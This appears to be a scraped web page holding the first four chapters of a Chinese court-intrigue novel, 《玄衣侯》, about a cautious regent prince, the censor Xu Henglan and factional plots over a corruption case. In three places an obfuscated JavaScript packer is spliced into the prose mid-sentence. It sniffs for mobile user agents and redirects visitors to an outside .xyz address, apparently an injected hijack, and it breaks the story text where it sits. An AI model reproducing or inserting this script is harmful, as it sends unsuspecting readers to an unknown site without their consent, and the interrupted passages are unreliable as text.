《玄衣侯》
1. 稚子言牵家族忧绪 红颜语启朝堂秘辛
“煦哥儿,慢些跑!煦哥儿!”一个三岁孩童在步廊内疯跑,鞋履踏在地板上的声音扰乱了宫殿的平静。
随身侍候纪煦的宫女小跑着追他。
“小郎君跑这么快,当心摔倒。”路过的宫女笑道。
“煦哥儿,越大越没规矩,看保林怎么训你的。”
“哎呀,好不容易爹要来一次,我要是不快些的话,就又错过啦。”纪煦笑嘻嘻地说,边说边蹦蹦跳跳地向前跑去。
“煦哥儿!”
纪煦闻声回头,没想到一下子撞了个踉跄,腿一软,坐到地上。
纪煦抬起头,考究的朱明服映入眼帘,仰起头——是一个英俊的年轻男子。
他的长相很特别,看起来似乎与这奢华冰冷的皇宫格格不入,没什么威严,却让人不由自主地想要安静下来。
众人一下子安静下来,却有几个宫女的笑声,暗暗流动在空气中。
跟在他身后的夏总管要出声呵斥,纪重珝略抬了下手,示意他不必管了。夏烨却愣了一下,好像有些不情愿,瞪了那几个宫女一眼。
她们顿时吓白了脸,低下头,不敢再多言。
纪煦看到那副面孔后,咧开嘴笑了。
“爹!”纪煦伸出小小的手臂想要拥抱。
“殿下,这……”那人身后的夏总管伸出的手僵在原处,表面上看来是上前意图解围,但实际上心里还是有意要看看这年轻主子怎么应对。
纪煦是先太子纪元瑾之子,但纪元瑾其人行事十分“惊世骇俗”,自从被封为太子以来,几乎就没在东宫住过一日。
楚保林便是纪元瑾在宫外借宿时偶然碰见了,偏偏在纪元瑾走后她又有了身孕,因此宫里只能捏着鼻子把她接入宫,封了个不上不下、不古不今的“保林”。当然楚保林的长兄后来也得了重用,但楚保林在宫中的日子却不好过。
好在纪煦很招人疼爱,纪重珝也常来看他,因此纪煦便一直将纪重珝当父亲看待,这也不算什么,小孩子心思,也没人会深究。
可此刻在大庭广众之下,就又是另一回事了。此事说大不大,说小不小,若是放任下去,难保会被人传成什么样。因此,纪重珝顿时严肃起来,问道:
“你叫孤什么?”夏公公一愣,但随即便意识到这话不是对他说的。
纪煦心虚的避开纪重珝的严厉的眼神。
“皇叔……”
纪重珝表情柔和了些,俯下身亲自抱起纪煦。
追过来的宫女见状,忙行礼。
“殿下。”
纪重珝抬手示意平身。
“爹……皇叔为何不怎么来,是不是不想见煦儿啊?”
“小郎君要是知礼听话,往后殿下才会常来呢。”夏烨在一旁笑道。
“可是……我要是今天不跑来,就见不到皇叔了。”纪煦撅嘴,小脸顿时拉下来,“而且母亲这几日都不准煦儿见,煦儿在宫中好生无聊。”
纪煦突然想到了什么,眼珠一转道:“煦儿能不能去东宫陪皇叔住几日?”
“这……”一旁的夏烨想开口拒绝,但被纪重珝打断。
他俯身,把纪煦放在地上,蹲下来看着纪煦。
“你是皇爷爷的皇孙,官家疼爱煦儿,才让煦儿留在宫中。若你到了东宫来,皇爷爷也会孤单的。”纪重珝边说边温柔地摸摸纪煦的头顶,对刚刚纪煦偶然提了一嘴的事有些在意,不禁问道,“皇嫂这几日怎么了,为何不与煦儿见面?”
天真烂漫的纪煦张口就道:“听说外公家被抄家了,母亲才难过的——皇叔,什么是抄家?把房子画在纸上的意思吗?那母亲为何还要伤心?”
身后有几个随从倒吸一口冷气,纪重珝听到了。纪煦也听到了,但他很困惑,他完全不知道这两个字背后代表着什么。
“画院的叔叔把煦儿家画在纸上,这样煦儿也被“抄家”了。”
夏烨见纪重珝不说话,自己也不便多言。只是暗暗感叹,纪煦的性子和五公主倒是很像——都是不大会说话的主儿。
正午,会仙楼。
一个样貌出众的高挑男子坐在临江的雅阁内,独自凭栏饮酒。他鼻尖很薄,刚好从立体的五官中探出来。江面游船上有不少姑娘纨绔偷偷看他,可他也只当没看见。
二楼士商的说话声清晰可闻。
“你们听说没有,楚家前几日被抄家了。”
“活该,暴发的,总有一日要出事的。”
“因为什么?”
“还能因为什么?贪腐呗。”
“听说贪的是燕北军费,你们没听说?再前几日还有一个被斩首的,也是因为这事。”
“燕州军费贪腐好多年了吧?都人尽皆知了,市井里都传,先太子之死也和这个案子有关。从前朝廷不声不响的,怎么现在想起来查了?”
“换了个御史中丞,新官上任三把火,过几年不还是屁都不敢放一个。”
“这个我也听人讲过,据说年轻得很。”
“怪不得,被那帮老狐狸当替死鬼了吧。”
“我好像也有点印象,当年在御街被醉花楼头牌掷牡丹的探花郎,就是他吧?”
“听得这么入迷?”一个美貌的妇人缓缓走进来,朝栏杆边的男子道:“徐中丞。”
徐珩阑笑着回头,黄昏的余晖映在他脸上,让那双拒绝过楚炜苦苦哀求的眼睛略微回了些温,甚至变得温柔起来。暮紫款款走上前来,抬起自斟壶,斟满一杯酒。
“又升官又袭爵,当真是平步青云,不知多少人艳羡呢。”说着,暮紫握起银蕉叶杯,抬头一饮而尽。
“怎么想起到在这见面了?”徐珩阑看着她,“孤男寡女的,难免落人话柄。”
“可大人不还是来了吗?”暮紫坐到桌旁,“只是有些想吃这里的蟹酿橙了,别家又没有,借这个机会饱饱口福。”
“你现在自己当妈妈,想吃个蟹酿橙还不简单?一句话下去,不知多少人争着抢着给你送来。”徐珩阑也站起身,坐到暮紫身旁。
“你邀我来,不只是吃个蟹酿橙吧?”
“那是自然。”暮紫放下筷子,“奴家偶得一事,想来于侯爷而言干系重大。不知侯爷为此愿付钱帛几何?”
“那得看是什么事了。”徐珩阑握起银箸,夹了一片鲤鱼脍,蘸了橙齑阵,放入口中。吃毕,啜饮一口热紫苏熟水。
“刚刚放血的,再不吃可就不新鲜了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299166|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”徐珩阑察觉到暮紫看她,头也不抬地说道。
“西府签君宋大人,前几日突然派人到朱雀院来。”暮紫顿了一下,“虽说他们明面上是大理寺派来的,但奴家细查了一下,事实上是宋大人的人。”
徐珩阑似乎有点听进去了,沉默地点点头。
“枢密院和大理寺……”徐珩阑喃喃道。
“朱雀院几乎到处有御史监视,大理寺查案这么大的事,竟然没有一人发现。”
“御史要是真那么尽职,恐怕也轮不到侯爷上位吧。”暮紫笑道。
“颇具至理。”
“他们来查什么?”徐珩阑突然想起什么。
“当年暗娼巷投河的姑娘,侯爷应该认识的。”
闻言,徐珩阑眸子一动,随即便笑道:“果然枢密院没一个好惹的。”
“侯爷可要当心,别死了。”
“还是那么不饶人。”徐珩阑失笑,“多谢了,改日必将重谢。”
“不必,举手之劳罢了。”看着徐珩阑,暮紫笑道,“方才不过说着玩的。往后,若奴家有需侯爷援手之处,还望侯爷莫要推脱才是。您若肯帮衬一二,便算是对奴家此番告知的莫大酬谢了。”
“对了。”徐珩阑掏出和田白玉双鸳鸯衔莲佩放在案上。一颗红豆嵌在温润的白玉中央。
暮紫侧目看了看,那白玉不算稀罕,平时达官贵人赠的玉比这个要金贵得多。只是那一粒小小的红豆,像朱砂痣、像血珠,从她瞳孔直达心底。
暮紫张口欲言,却什么都说不出来。
“有人托我给你的,他说你见了这玉就明白了。”
“东西我算是给到了,其余的我也不便多言。”
“侯爷这么个薄情寡义的人,竟也有闲心管这种事?”暮紫冷笑道。
暮紫能感受到,徐珩阑的目光像风一样抚过她的头顶,又轻飘飘地离开。
“告辞。”徐珩阑转身走了。
暮紫与玉佩相对无言,仿若雕塑。终于,她拿起玉佩,转身出了雅阁。
等走到江边,她把玉佩随手扔了。玉佩掉在江中,激起的水花碰不到她昂贵的裙摆。
“骗子。”
“这么好的玉佩,说扔就扔,暮紫姑娘真是绝情啊。”
一个熟悉的声音从暮紫身后响起,暮紫紧张地绷紧身体,好在有帷帽遮挡,她缓缓回过头,强笑道:
“这么巧?”
马上的宋金勾唇一笑,唇须也跟着颤抖。他笑着俯下身,凑近暮紫,半威胁地道:
“暮紫姑娘与徐公竟这般交好,着实令人心生妒意呀。”
“奴家还有他事缠身,先行告退了。”
“别急着走啊。”宋金骑马挡在暮紫面前,“我奉劝暮紫姑娘一句——少多管闲事,不然,就别怪我不留情面了。”
“多谢宋大人提醒。”暮紫不禁莞尔,绕过宋金的马,从容离开。
宋金笑笑,也不拦,任由暮紫离开,待暮紫走出去几步时,他突然回头笑道:
“我确实不敢动你,可你的那位,可就不一定了。”
暮紫脚步一顿,但还是头也不回地走了。
“死娼妇。”宋金暗骂。
2. 文贤殿签君假死谏 崇文宫太子真义执
“嗒嗒——”
说书人在醒木的声音中展开了折扇,遮住半边脸。
“列位看官呐!您瞧瞧这几日,新上任的那位“摘冠手”徐大人,那可真是年少有为!年纪轻轻,便被上头委以重任,执掌要务。您说,这得叫天下多少寒窗苦读的读书人,眼红到不行,心里头那叫一个羡慕哟!”
“但是!”说书人收起折扇,敲着桌沿,“那西府签君宋大人,眼瞅着局势不妙,特意在梅园摆下宴席,此乃实打实的鸿门宴呐!这宋金自以为胜券在握,一心想着要让那徐大人身败名裂。再看这徐大人呢,终究是年轻气盛,行事莽撞了些,此番前去,怕真是在劫难逃,必死无疑咯!”
看官发出一阵大笑,笑声像海浪一般沸腾至天际,飞到天边,突然,“哗啦啦——”变成一群白鹤,飞走咯!
哈哈哈——
“殿下,殿下?”纪重珝从白鹤翅膀扇过的声音中清醒过来,他睁开眼,眼前的景物渐渐清晰——是蘸青馆。
他缓缓坐起身,一不小心撕裂了后背的伤口。
“嘶——”纪重珝疼得冒冷汗,薛荔忙扶他躺下。
“孤睡了多久?”纪重珝揉了揉发胀的额头,问道。
“自殿下从梅园回来后,已过了半日……”
昨日清晨,漳京宣德楼更鼓穿透晨雾。徐珩阑引青盖车驾抵右掖门。
待站到宫门前等候时,金甲班直卫士的槊尖已坠了一滴晨露。鸿胪寺官员的唱名声在宫墙间撞出回响:
“两府拜——宰臣韩梓熙入东阶!”
一声响起,众人都不禁侧目,一旁的同平章事钱正言也看了看他。
一个紫袍玉带的老者踏过兽面地砖,靴底毫不留情地碾碎晨露。
突然,他微微转头,刚好和徐珩阑对视。那眼神冷得吓人,但徐珩阑毫不在意地以笑回应。
司礼监尖嗓喊道:“宣——常朝——”
待众官员步入殿中,众官员正立,御史台和中书门下一众,包括徐珩阑侧立。
今日的文贤殿似乎有些异常,无人唱名。
正在众人纳罕间,纪重珝头戴白珠六旒远游冠,身穿绛纱盘龙四爪袍,缓缓步入殿中。
徐珩阑在心里默默数着——一步不少,一步不多,让人挑不出一点毛病。
“天听垂慈——权器暂掌——诸臣奏事!”
御座之上的纪重珝道:“皇帝敕命:军国重务,禀于二府;刑名钱谷,咨于有司。吾太子珝承训监摄,惟祖宗法度是守,诸卿谨奏——”
纪重珝的声音铿锵有力、掷地有声,丝毫没有太子首次代朝的紧张拘谨。
徐珩阑不禁看了这个年轻太子一眼——俊秀的面庞在旒珠遮挡下看不清楚,是个面无波澜,一举一动都严格按照礼仪行事的正经人。
“一个娘胎里竟出来这么两个天差地别的人。”徐珩阑暗笑。
纪重珝和先太子纪元瑾完全是截然不同的人。纪元瑾蔑视这些礼仪,他的一举一动都在叫嚣着他的存在。
纪元瑾的一生波澜壮阔,一直在燃烧,如此忘我,如此不顾一切,直到把自己也烧成灰烬,消失在荒凉的大漠中。
“殿下,臣有本奏,事关重大,恳请殿下与诸公听臣一言。”
宋金的声音扰乱了徐珩阑的思绪——笔直的孤烟被扰成一团,蜷缩着飘向天际。
不用想都知道宋金这厮要说什么——不过是弹劾她公报私仇罢了。宋金这人虽然坏,但却是没脑子的坏。
“但说无妨。”
“殿下,臣有疏奏。今参徐中丞,其行事乖张,竟滥用职权,以公谋私、公报私仇,此等行径,实乃有违臣道,乱我朝纲,恳请殿下明察。”
此言一出,“臣附议”三个字像潮水一样,淹没整座大殿——宋金很得意,可他没注意到自己的官帽也被潮水冲走,留下湿润荒芜的头顶。
许翰林冷笑道:“如何公报私仇?宋公不妨把话说清了。”
“许老先生稍安勿躁。容我先问徐公,我朝以礼法治国,祖宗礼法乃行事之圭臬。徐公身为朝中执掌风宪之臣,司察奸邪、辨明是非,所作所为,自当依循律法,恪守祖宗礼法,半步不得逾越。不知徐公对此以为然否?”
徐珩阑笑着摇头道:“吾之行事准则,唯君主之令是从!君者,乃国之纲纪,法之渊源,所谓“君命即法”,此乃不刊之论。”
此言一出,朝中一片哗然。
宋金强笑道:“那照徐公所说,即便君命如何荒唐,徐公也要遵循了?”
“我朝明君治世,不知宋公所说荒唐之处。”
“孤亦心有疑窦,宋卿但说无妨,还望不吝为孤解惑。”御座之上的纪重珝突然开口,话里似乎带着笑,也确实道出了众人心声。
宋金这次不怀好意,却被徐珩阑反将一军,众人都好奇宋金要如何应对。
“楚炜一案,按我朝律法,应是将楚炜一人流放,而徐中丞却罔顾律法,一意孤行,将楚家的家财也收了来。楚炜之妹在宫中服侍先太子多年,还为陛下诞下皇孙,没有功劳,也有苦劳之说。依法依情,都不妥当。可见徐中丞虽忠君,却是愚忠。”
“陛下之命,安敢有违?”
“从道不从君,从义不从父,人之大行也。”谏院范卓群插口道,“徐公作为台院之长,竟将君命奉为圭臬,实在是我朝之不幸。”
范卓群突然站出来,高声道:“殿下!今代朝之际,臣斗胆弹劾徐中丞。其徇私枉法,愚忠无智,难当大任,难佐治国,负台院之职,违儒家之义……”
他抬头看看纪重珝的脸,想来这么个没及冠的太子,恐怕也难分辨忠奸,自己这么一番话下去,必会让纪重珝同意他的主张。
范卓群继续高声道:“以此观之,其非适居此位,当速去之!”
后四个字一落地,整个大殿鸦雀无声,呼吸声或湍急,或从容,像藤蔓一样附在纪重珝身上,伺机夺走他的心魂。
众人都看纪重珝有何反应,因此无人出言助他——这某种程度上也算是文官们给这个年轻太子的“下马威”。
纪重珝开口,身上的藤蔓不攻自破。
“徐中丞乃陛下亲擢之人。若无陛下明示,孤岂敢擅作主张。此事干系重大,容孤禀明陛下,再行计议。”纪重珝正色道,“且朝中众人,多未表态,想来亦觉此事存疑。不如容徐中丞为自己辩解几句,也免得误冤忠良。”
“承蒙殿下垂怜,慨允微臣得以陈词辩解。”徐珩阑一副胜券在握的样子,让宋金看了火大。
他本想借此机会挫挫徐珩阑的锐气,奈何一上来就差点被徐珩阑逼入绝境,渐入佳境时,又被范卓群横插一脚。
范卓群这蠢货,说好是弹劾徐珩阑,却朝太子耍威风。太子虽然年纪小,但很受官家信赖。不然为何在官家无病无痛的日子,太子会来代朝?范卓群看不清形势,偏要剑走偏锋,宋金也不敢和他多牵扯。
让他最恼火的还是那些自己为之卖命的高官权臣,他们此刻像提前商量好了一般默不作声。
这是何用意?宋金无瑕琢磨,只能硬着头皮道:“洗耳恭听。”
“宋公责我行事悖法违情。然吾以为,楚炜一案虽小,背后牵连重大。若不重办震慑主谋,奸佞之患难弭,贪腐之疾难医。”
“所言极是。”纪重珝点头笑道,“陛下想必也是此意。”
宋金难以察觉地看了看纪重珝——他心知这小子谨慎,不可能胡乱说话。若连纪重珝都说是官家的意思,想来事实也确实是如此。
可虽说宋金平日里遇事易失沉稳,但到底是常在朝中与人辩驳之人,这般小场面,想来他还不至于应付不来。
宋金暗笑,但面上还是正色道:
“今竟重术轻道,为慑幕后主谋,峻罚小官,于楚炜极不公!汉文帝约法,天下归心;太宗以法,贞观大治。我朝律法如日,祖宗道义若山,岂可视同虚设,随意毁弃?此朝廷伪善,君主轻义,吾不忍侍奉。愿学伯夷叔齐守节,如屈原殉义。后世谅我,岂会诟病?然陛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299167|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下之举,青史如何评说,未可知也!”
说着便一头就要撞到御前蟠龙柱上,左右巡使连忙上前阻拦。纪重珝倒是很淡定,朝中大臣乱作一团,可乱得没什么力度,一细看发现只不过是原地打转、唉声叹气,真正上去关心的也没几个。
毕竟那柱子就没撞死过人,大家就当看个笑话。
最后,宋金被救下,只是额头受了伤,血淋淋沥沥地滴在地上、沾在蟠龙柱上,唯独伤口上没什么血。
纪重珝冷眼看着,纵心里有多少不屑,也把面子给到了。
“宋卿为道义,不惜捐躯死谏,忠勇高义,令吾辈汗颜。今日诸事,孤必详实奏于陛下。陛下圣明,自会裁断。今逢此变,常朝即止。诸公若有他务,待陛下龙体大安,再行奏陈,听凭宸断。”
下朝后,纪重珝身边的夏总管突然找到她。
徐珩阑因为职位原因,曾经也去过东宫几次,夏总管在东宫算得上是只手遮天,徐珩阑和他有几分交情。
“夏公公。”徐珩阑施礼,夏总管笑着扶起她。看那神情,看来不是坏事,徐珩阑在心里暗暗想着。
“官家想见您一面,请随我来。”
崇文殿内,纪重珝正和纪铭细细说了今早的事。
听后,纪铭没什么反应,只是站起来,缓缓走到纪重珝身前,问道:
“这么一遭下来,想必你心中也有数了。”
“有数?”纪重珝疑惑道,“儿臣愚笨,不知父皇此话何意?”
“治国之要,实乃治人;驭权之策,终归驭人。”纪铭负手站立,看似是教导纪重珝,可看起来貌似在说服自己。
纪重珝抬眼看了看,纪铭的影子“哗啦啦”流到纪重珝脚边。纪重珝后撤几步,似乎是怕那影子脏了鞋。可一不小心,他踏入自己的影子里——他的影子像沼泽一样粘稠。
纪铭叹了口气道:“朝中虽有几百文官,可真能担当重任的却寥寥无几。朕今日着你代朝,实欲让你学习识人之道。朝中百官,孰忠孰奸,你往后需自己有个判断。”
“既如此,儿臣有一事不解,还望父皇为儿臣解惑。”
纪铭示意他说。
“楚炜一案,父皇为何要重判?”
闻言,纪铭的表情有些僵硬,短暂地失了魂魄。纪重珝能感受到纪铭的影子不断地膨胀。
“嘭——”纪重珝心头一颤,原来是一旁的宫人碰倒了烛台。
真的碰倒了吗?什么都没有发生,一动不动的宫人、一动不动的纪铭、一动不动的纪铭的影子。
“徐行在朝中解释了吧?你也知道那是朕的意思。”
“可儿臣想知道为什么?”纪重珝感受到一股力量在撕扯他,或许是在撕扯纪铭。纪铭顿时四分五裂,从血肉模糊的旧躯体中爬出来一只……
“为什么?”
纪铭一挥手,烛台刚好倒在宫人身上。惨叫声,慌乱的脚步声,纪重珝没看清阴影里站着什么——占着他父亲的是什么。
“父皇也做这种事吗?用牺牲小官的方法震慑背后主谋,这难道……”
“出去。”
“父皇!”纪重珝少见的激动。火烧到宫人身上,周围人手忙脚乱地灭火,可是无济于事。
纪重珝看着这么混乱的场面,心里却意外地冷静下来。
“父皇,儿臣言辞失当,万望父皇海涵。”纪重珝低头看着地上的影子,“儿臣先行告退。”
说着,便走出崇文殿。
半晌,纪铭烦躁地说:“既然烧伤了,还不去寻药包扎,在这里嚷什么?”
“官家息怒。”
“你去告诉徐中丞一声,叫他请回吧。”连都知一听,顿时犯了难,只得勉强应下。
“就说朕突然身子不适,叫他不必来见。”连都知走出几步后,纪铭在他背后又补道。
“愣着干什么?快去啊。”
连都知走后,纪铭来回走了几步,走到刚刚扶起的烛台前,走过去后,又退回来,狠踢了一脚。
3. 为新仇国公设毒计 因旧情侍制点迷津
宋金这场私宴办得极隆重,华贵的朱门前,宝马雕车,达官贵人来来往往,不时也闻得各家夫人小姐笑语盈盈,何等繁华之象,比科举放榜后的宫宴还要热闹。
一架特殊的马车停在朱门前,宋金亲自迎上来,一个玄衣公子走下车来。
“徐公怎么来得这样迟?叫我一番好等。”
“这不是怕来早了惹人闲话?”徐珩阑很不见外地拍拍宋金的肩膀,附耳低语:“毕竟你我今早还在金殿之上争锋相对。”
“徐公这么大度的人,还在意这点小事?”宋金额头的伤已好了大半——不过伤势本来也没那么严重。他也亲昵地揽住徐珩阑的肩膀,只是徐珩阑比他高出一截,这么一伸手,险些绊倒。
“宋大人宽宏大量,实在是令晚辈汗颜,今日出门仓促,未曾带厚礼……”
“你我之间那么见外做什么?”宋金满不在乎地笑笑,“况且,送来送去的,别叫人看了笑话,以为你我有多生分。”
“正是此理。”徐珩阑笑应道。
宋金笑笑,缓缓收回手。
梅园确实清雅脱俗,称得上是“世外桃源”,只是与宋金本人的气质极不相称。梅园亭台楼阁仿的是辰州式样,十分小巧精致。
“怎么样?我这梅园,不比徐公的竹园差吧?”
“宋大人连晚辈在辰州的园子都知道?”
“听林国公提起过。”
“我那小园子,哪里比得过梅园?宋大人这园子,恐怕比起那凤池仙苑,都绰绰有余。”
“哈哈哈。”宋金脸上藏不住的得意,嘴上还是自谦道:
“徐公过誉了。哪里见得就那么好了?”
突然,一个小厮上前,和宋金耳语几句。
“徐公,林国公相召,还请移步。”
那一瞬间,徐珩阑的表情顿时有些不自然,宋金看在眼里,不怀好意地笑道:“请吧,徐中丞。”
徐珩阑跟着宋金,天边的残阳死命挣扎着,然而却是徒劳。
徐珩阑少见地感受到了不安——林家和徐家是世交,因此很看重徐珩阑,刚一中探花,就提携她任辰州通判。
一个年轻的探花郎,竟然初入官场就任如此要职,昔日同窗可谓是又羡又恨。徐珩阑在同窗中的烂名声就是这么来的。
记得当年沈怀真和她“反目”时,就曾评她道:
“珩阑之才,罕有其匹。然居官理政,非仅恃才,更赖文人风骨。昔陶潜不为斗米折腰,嵇康蔑权从容赴死,此皆高风亮节,为世垂范。奈珩阑轻之,独溺功名利禄,纵摧眉折腰,犹不自愧。诚可叹惜。”
说得未免过于夸张了,她不像沈怀真说得那么有才能,不过是不怕死罢了。
林国公表面上是提携她,实际上却想利用徐珩阑谋利。至于当时的风光,不过是徐珩阑不怕死,上了贼船罢了。
徐珩阑和宋金走到一个偏僻的院子,沿着曲径,湘帘幽处,年过六十的林国公正坐在亭中,望着芭蕉下的几只白鹤。
“国公,人我带到了,晚辈先行告退。”宋金走时不忘看了徐珩阑一眼,待背过身去后,宋金的嘴角差点咧到耳边,藏都藏不住。
“伯父。”徐珩阑有些生分地施礼。
“徐行,当了大官,还这么唯唯诺诺的?”林国公年迈威严的声音惊跑了白鹤。不过徐珩阑却是松了一口气——看来是为了钱正言背着他推荐徐珩阑任御史中丞的事。
“自伐者无功,自矜者不长。”林国公侧目看了看她,“你读了这么多书,难道连这个道理也不晓得?”
“不过蒙长辈垂爱提携,晚辈自知才疏,岂敢自傲。”
林乾钧轻笑,握起酒盏,自饮一杯,饮后朝徐珩阑道:“坐。”
徐珩阑谢过后,走到林乾钧对面坐下。
“无论君臣,都讲究清净无为。你一上任就连着处置几个官员,还说不敢自傲,若你不敢,恐怕普天之下也没几个有胆子的了。”
徐珩阑笑道:“总要有几个人做榜样,不然怎么服众?服不了众,又怎么能坐稳这位子?”
“德薄而位尊,智小而谋大,力小而任重,鲜不及矣。”林乾钧沉声道,“既然不是你的,再使什么手段,也留不住。”
徐珩阑笑容一僵,没想到林乾钧说得这么直接。
“钱正言荐你,未必是真看重你,官家重用你,想必也是有他心在的。”
徐珩阑突然作揖,林乾钧却好像早就料到了,冷眼看着徐珩阑要说什么。
“晚辈一时猪油蒙了心,竟被那功名迷得五迷三道,鬼使神差地着了钱正言的道。如今虽已察觉,却已然迟了。还望伯父顾念往日情分,拉晚辈一把,救我出这困局。”
徐珩阑话说得声泪俱下,好不可怜。
林乾钧并不完全信,看了徐珩阑半晌。徐珩阑感觉到头顶的目光,丝毫没有露馅,仿佛真是一个误入歧途的晚辈。
林国公眯起了眼,伸出手,突然换了副慈爱的面孔,笑道:“我自然知道你是被猪油蒙了心,到底年轻,难免被功名利禄迷了心志。”
徐珩阑抬起头。
“我只是气你自作主张,从前你受了我的提携之恩,才肯为我办事,现在又受了钱正言的恩,想来将来也要与钱正言一伍……”
“伯父于珩阑如生父一般,岂会为此等小恩背叛伯父?”
闻言,林乾钧大笑。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16299168|182729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“好,你既出此言,若有负,你可别怪伯父不讲昔日情分。”
“那是自然。”
待徐珩阑回席,众人正聚在一起听暮紫弹琵琶。
林乾钧的长子林溶突然凑过来,两人礼貌地打了招呼。
“令尊身子如何了?”
徐珩阑微笑着摇摇头,道:“前年弃世了。”
“节哀。”
林溶有些犹豫,他看了看四周,似乎是很费一番功夫才下定了决心,低声问道:“听说是你查办了楚炜?”
徐珩阑看看他,没说话,就当默认了。
“徐行,你我情同手足,有些事我眼睁睁看着,却不提醒你,我良心上过不去。”
徐珩阑心里暗暗惊奇,有些好奇林溶要和她说什么。
“辞官吧。”林溶话说得恳切,“你新官上任,根基不稳,御史又最得罪人,那些老家伙表面上提携你,实际上不知想让你怎么死呢。今日也是,我知道宋金和你是一伙,可今非昔比,你也看出来了,父亲他……”
林溶说了一半,突然有些不敢说了,改口道:
“宋金与你的交情,不过是看在父亲的面子上。”
林溶看来也很难斟酌自己的语言,语无伦次,半晌又补道:“现今这情形,这梅林雅集,明摆着就是‘鸿门宴’——你快走吧。”
“多谢林侍制提醒,我想我应是有分寸的。”
林溶看着徐珩阑,眼前的人像水中的幻影一般扭曲、变形。
“急瑟瑟百雨黏稠,冷寂寂千愁难收……”暮紫凄凉悲惋的歌声挽着琵琶声,不知要去哪里。
“锵——”
琴弦的声音坚硬而苦涩,黏痰一样滞留在林溶的喉间。半晌他才在渺远的山林间寻见自己的声音。他张了张嘴,哑声道:
“前途什么的,比命都重要吗?还是说你根本不是为了前途,可是什么能让你甘愿冒死……”
“溶兄弟。”徐珩阑打断他,“虽然我们是一起长大的,但凡事总要有个度——你背着伯父来提醒我,于情于理,都不合适。况且……”
“我不会死的。”徐珩阑整了整衣领,很随意似的说出一句。
暮紫在远处唱道:“雨难滞,云不流。”
天上仿佛下起雨,徐珩阑转身离开灯火通明的宴会,向密林深处走去。
“不光是宋金。”林溶突然开口,“你不知道你在和什么人做对。你真要走下去吗?即便和大半个朝廷为敌,即便最后会落得个名利尽失的下场。”
徐珩阑脚步一顿,并没说什么。雨淋湿了林溶的眼睛,他努力想看清远处的徐珩阑,可她越走越远,消失在静谧的山林中。
4. 吐真心半吐反被误 泄危机尽泄却转安
“栏儿,栏儿?快醒醒。”
一双手轻轻摇晃熟睡的女孩,很温柔,连女孩身上的粗布衣衫也因此变得细腻起来。
“徐中丞,徐中丞?”
徐珩阑在头痛欲裂中缓缓睁开眼。或许说,她也想尽快睁眼看清那人的脸……
不是她,是纪重珝。
“是你啊。”
徐珩阑说话没轻没重,丝毫没把纪重珝放在眼里。闻言,纪重珝微微皱眉。
徐珩阑边揉额头边坐起身,发现自己是在席间吃了几杯酒,有些头胀,再加上徐珩阑本来就体弱多病,到了晚间也有些嗜睡,因此靠着柱子睡着了。
“徐中丞好胆识,明知自己是‘鱼肉’,还能睡得着。”
几个娈童欲走到两人身边来,被徐珩阑摆手拒绝了。
“为什么不敢睡?”徐珩阑伸了个懒腰。席间依然热闹非常,远处的宋金投壶屡输,早已喝得醉醺醺,正靠在一个娈童身上胡言乱语。
“我在这安安分分地等着人来杀我,谁知道到现在还活得好好的,真是可惜可叹。”
徐珩阑突然转头向纪重珝道:“倒是你,跑来参加官员私宴,合……”
没等徐珩阑话说完,纪重珝突然一把拽起她,几步迈到最近的屋子门前,用身体撞开屋门,连带着门一起拉徐珩阑进来。
纪重珝捂住她的嘴,摆出一个噤声的手势。
门外几个官员说笑着走过,丝毫没发现刚刚柱子旁的两人。
听着脚步声越来越远了,纪重珝缓缓放下手。
“既然怕人发现,打一开始不来就是了。”徐珩阑很不客气地推开纪重珝,“况且我是过了明路的,何苦躲人还拉着我?”
徐珩阑说话越来越放肆,纪重珝也不计较这些,压低声音道:
“我有几句话问徐中丞,在外面反而不方便。”
“什么话?请说来。”
纪重珝看着她,好像有些犹豫,缓缓道:“徐中丞今早下了宋金好大的面子,不知林国公对此有何回应?”
徐珩阑突然想到了什么,“这屋里有人吗?”
“没有,我提前看过。”
“说实话,我没太明白他的意思。若是想杀我,那为何到现在都不动手?我看多半是宋金想杀我,而林国公还想留我一阵子,至于我到现在还没死,看来是因为林国公还没走,宋金有些忌惮。”
“那林国公留你一命的缘由是……?”
“不知道。”徐珩阑很爽快地道,听着却像破罐子破摔。徐珩阑此刻倒确实是心不在焉——她仍在反复回味刚刚的昏梦。
“是因为要靠你来把宋金查出来当替罪羊——是这样吗?”
徐珩阑一愣,额头上的几缕碎发颤抖出了几丝乱影,和灯火的影子混杂,显得扑朔迷离。
